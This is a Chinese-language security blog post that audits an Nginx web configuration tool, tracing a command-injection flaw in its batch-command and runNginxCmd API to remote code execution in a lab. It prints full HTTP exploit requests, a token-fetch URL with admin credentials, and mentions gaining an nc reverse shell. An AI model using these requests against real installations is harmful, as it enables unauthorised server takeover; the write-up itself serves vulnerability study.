某Nginx配置管理平台代码审计分析

VSole2022-06-10 11:55:55

前言


年初的时候,做代码审计的时候whippet师傅给分享下面的这个漏洞,所以拿出来分析一下,确实是个0day,不是,还没人分析过,或许是nday???有意思的点儿可能在实现RCE的地方吧。



介绍


nig****UI可以使用WebUI配置nginx的各项功能,包括http协议转发、tcp协议转发、反向代理、负载均衡、ssl证书自动申请、续签、配置等, 最终生成nginx.conf文件并覆盖nginx的默认配置文件, 完成nginx的最终功能配置。



环境搭建


下载源文件直接启动


下载地址github下载源码,手动搜索即可,当前版本为2.7.5



访问8090端口即可



如果自己本地不想安装nginx的话,跳过安装步骤,更改访问目录。

  • 使用docker搭建。搭建环境Ubuntu16.04

拉取镜像



docker pull cym1102/nginxwebui:latest




docker run -itd -v /home/nginxWebUI:/home/nginxWebUI -e  BOOT_OPTIONS="--server.port=8080" --privileged=true --net=host  cym1102/nginxwebui:latest



docker ps



访问



http://192.168.166.130:8080



初始化管理员设置之后登录



命令执行










漏洞触发点

远程服务器->批量命令



执行ifconfig成功



这里使用whoami的时候容易看不到,刚开始以为不能执行,,,,



可以尝试创建一个文件



ls查看创建成功



当然在构造payload的时候拼接语句的话只要符合linux语法都可。



实现RCE










本来是想能不能直接反弹shell的



这里会直接将&符作为连接符去执行了,使用反斜杠去转译,反斜杠被转译为了双反斜杠,这里尝试了很久没绕过,有兴趣的师傅可以尝试一下



使用base64做编码反弹尝试



base编码格式这里会使用|符号,自然在这里这里行不通,因为直接执行了最后的命令,在linux下使用该符号执行命令,会自动执行最后的语句



使用\防转义



但是这里反斜杠被转译为了双反斜杠,那么这是行不通的,那么这个时候只能选择其它方式实现RCE,使用nc反弹



windows上起的nc,发现回连



此时使用nc反弹已经拿到了shell。



代码分析










后台自带启动功能,必定是能够使用命令去执行,这个点儿的话其实也不是不能限制,限制能够能够执行的命令,在一定程度上也算不得可控的命令执行



ctrl+N


搜索cmd字段



搜索contrller.adminPage.RemoteController类的cmdOver方法




在329行的时候传入cmd参数,参数就是对nginx的启动或者停止,331的时候调用runcmd方法

src\main\java\com\cym\controller\adminPage\ConfController.java



338行使用的是put方法传参,直接执行了前面输入的cmd参数内容。

同理这里ctrl+n搜索调用runcmd方法的类



那么这里就是第二个产生命令执行和rce的地方了。但是在调用的时候发现其实这里使用是有限制的

ginxwebui\src\main\java\com\cym\controller\api\NginxApiController.java

该类属于api路径,传参方式POST



构造数据包



POST /api/nginx/runNginxCmd HTTP/1.1Host: 192.168.166.130:8080User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0Accept: application/json, text/javascript, */*; q=0.01Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateX-Requested-With: XMLHttpRequestOrigin: http://192.168.166.130:8080Connection: closeCookie: Hm_lvt_8acef669ea66f479854ecd328d1f348f=1653381776,1653447427; Hm_lpvt_8acef669ea66f479854ecd328d1f348f=1653473865; Content-Length: 10
cmd=whoami



不行???思路有问题么,继续分析,在api调用给的时候有关于token的认证,在上面的数据包中我们抓包,用户身份字段是cookie,那么这个token的作用优势什么呢?

nginxwebui\target\classes\com\cym\controller\api\TokenController.class



token的作用也必定是身份认证使用的,这里我查看了接口文档



直接调用了接口




到这里基本上是可以确定了接口文件的和接口类的作用,使用的身份认证字段为token,那么想要利用接口的话必须

找到接口权限,然后开启



获取token



http://192.168.166.130:8080/token/getToken?name=admin&pass=1qaz@WSX



获取密码文件接口,构造数据包



POST /api/nginx/runNginxCmd HTTP/1.1Host: 192.168.166.130:8080User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0Accept: application/json, text/javascript, */*; q=0.01Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateX-Requested-With: XMLHttpRequestOrigin: http://192.168.166.130:8080Connection: closeCookie: Hm_lvt_8acef669ea66f479854ecd328d1f348f=1653381776,1653447427; Hm_lpvt_8acef669ea66f479854ecd328d1f348f=1653473865; Content-Length: 10
cmd=whoami



获取到所有的密码文件信息,这个时候调构造请求payload去进行命令执行



POST /api/nginx/runNginxCmd HTTP/1.1Host: 192.168.166.130:8080Accept: application/json, text/javascript, */*; q=0.01 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleW X-Requested-With: XMLHttpRequest Origin: http://192.168.154.129:8080 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close Token: d979abda-db85-4f08-b7bd-0e054df0e02a Content-Type: application/x-www-form-urlencoded Content-Length: 10 
cmd=whoami



OK,,,,结束。



小结


还是挺有意思的,新版本的不确定还存不存在能RCE,有兴趣的师傅可以试试,大佬勿喷。


api接口
本作品采用《CC 协议》,转载必须注明作者和本文链接
API接口管理工具
2023-12-01 11:02:53
API-Explorer是一款管理api接口的工具,可提前配置好接口,直接调用即可;可定义数据包任何位置内容,使用起来相当灵活。
也就是说,安全人员对API风险的防控工作,是以业务人员的API资产维护工作为基础的,这之间就存在跨部门协作的壁垒问题。进一步观测这些近似的API端点,会发现它们往往也具有相同的用途。这类路径、用途高度重合的API端点若全盘列出,可能会造成API资产列表过于庞大的问题。
API接口渗透测试
2022-03-25 22:15:35
MVC 将整个应用分成 Model、View 和 Controller 三个部分,而这些组成部分其实也有着几乎相同的职责。SoapUI Free,手工测试SOAPSonar,SOAP UI 的替代。Burp Suite,代理拦截,跟踪通信过程和结果,对通信进行重放和二次处理等。代理配置可以用 Burp 重放 SOAP 的探测 Payload。SUAP UI 会自动探测接口
了解接口常见漏洞,将帮助你在测试接口获取更多的思路。信息披露信息可能会在 API 响应或公共来源中披露。敏感数据可以包含攻击者可以利用的任何信息。例如,使用WordPress API的网站可能会在不知不觉中与导航到API路径的任何人共享用户信息。错误消息可帮助 API 使用者排查其与 API 的交互问题,并允许 API 提供者了解其应用程序的问题。其他良好的信息来源是在侦察期间收集的 API 文档和资源。
渗透测试-API接口测试
2021-12-28 22:57:33
一个API中通常包含的结构有:本文记录的是Postman学习,以及一些接口测试概念。帮助大家建立接口测试的整体概念,以及学会Postman工具的使用。因为客户自己的测试人员平时做业务功能测试时,也都是有现成的测试 demo的,不可能在Postman中一个一个手动构造请求去测试。
随着现代互联网的快速发展,网络攻击、数据泄露事件日益增多,根据Salt公司发布的《2023 年第一季度 API 安全状况报告》,与前六个月相比,针对API的攻击增加了400%,其中31%的客户遭遇了敏感数据泄露,由此API接口的安全性越来越受到人们的关注。其中,SSL证书作为保护传输数据安全的重要工具,可以助力确保API接口的安全性,加密传输信息防窥探防篡改。为什么API接口安全性如此重要?1、A
说实话,我非常希望自己能早点看到本篇文章,大学那个时候懵懵懂懂,跟着网上的免费教程做了一个购物商城就屁颠屁颠往简历上写。至今我仍清晰地记得,那个电商教程是怎么定义接口的:管它是增加、修改、删除、带参查询,全是 POST 请求一把梭,比如下面这样:修改用户的收货地址。现在看来,全部用 POST 请求估计是为了传参方便吧。本文希望通过串讲,梳理一下个人当前了解到的 API 知识体系,整理的同时也希望能对大家有一点点帮助。
异步调用几乎是处理高并发Web应用性能问题的万金油,那么什么是“异步调用”? “异步调用”对应的是“同步调用”,同步调用指程序按照定义顺序依次执行,每一行程序都必须等待上一行程序执行完成之后才能执行;异步调用指程序在顺序执行时,不等待异步调用的语句返回结果就执行后面的程序。
近日,阿里云应急响应中心捕获到 XXL-JOB API 接口未授权访问致反序列化漏洞。漏洞描述 XXL-JOB是一个轻量级分布式任务调度平台。默认情况下XXL-JOB的API接口没有配置认证措施,未授权的攻击者可构造恶意请求,触发反序列化,造成远程执行命令,直接控制服务器。漏洞利用无需登录,实际风险极高,阿里云应急响应中心提醒 XXL-JOB 用户尽快采取安全措施阻止漏洞攻击。
VSole
网络安全专家